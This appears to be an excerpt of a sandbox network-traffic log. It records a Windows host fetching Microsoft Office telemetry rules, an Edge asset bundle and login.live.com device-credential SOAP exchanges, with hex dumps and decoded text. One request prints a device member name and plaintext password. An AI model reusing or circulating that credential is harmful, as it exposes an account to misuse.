2024-11-12 03:16:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bf72ccbe-301e-001f-25a0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-17df447cdb5c9wvxhC1DFWn08n0000000btg000000004qnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-16547b76f7fxsvjdhC1DFWprrs0000000ey000000000fz9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031628Z-16547b76f7fnlcwwhC1DFWz6gw0000000f3000000000kz2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49795	13.107.246.45	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:28 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: efca23cb-901e-0062-69eb-322fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031628Z-16547b76f7ftdm8dhC1DFWs13g0000000f400000000019gv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-12 03:16:28 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-12 03:16:28 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-12 03:16:28 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-12 03:16:28 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49791	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3528 Host: login.live.com
2024-11-12 03:16:28 UTC	3528	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:28 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 41daf312-8bc6-4311-8c46-1d0dbe4ccb22 PPServer: PPV: 30 H: SN1PEPF0003FB2A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:28 GMT Connection: close Content-Length: 1276
2024-11-12 03:16:28 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49794	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-12 03:16:28 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 67 66 78 71 75 73 69 75 61 79 66 6a 6d 63 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 43 67 6e 67 62 6a 33 3f 6b 48 6c 49 68 70 61 58 53 65 35 3a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02gfxqusiuayfjmc</Membername><Password>Cgngbj3?kHlIhpaXSe5:</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-12 03:16:33 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 12 Nov 2024 03:15:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: f14b11f3-3f68-4754-b22e-37297629cf25 PPServer: PPV: 30 H: SN1PEPF0002F1C0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:32 GMT Connection: close Content-Length: 17166
2024-11-12 03:16:33 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 35 31 32 37 35 37 39 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 32 37 36 63 31 63 31 32 2d 65 30 66 62 2d 34 39 37 61 2d 39 37 61 61 2d 61 31 66 35 33 61 64 66 62 38 61 38 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001800115127579F</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="276c1c12-e0fb-497a-97aa-a1f53adfb8a8" LicenseID="3252b20c-d425-4711
2024-11-12 03:16:33 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: a5c20e25-701e-0050-1ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031628Z-15869dbbcc6hgzkhhC1DFWgtqs00000006eg00000000da1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49798	13.107.246.45	443

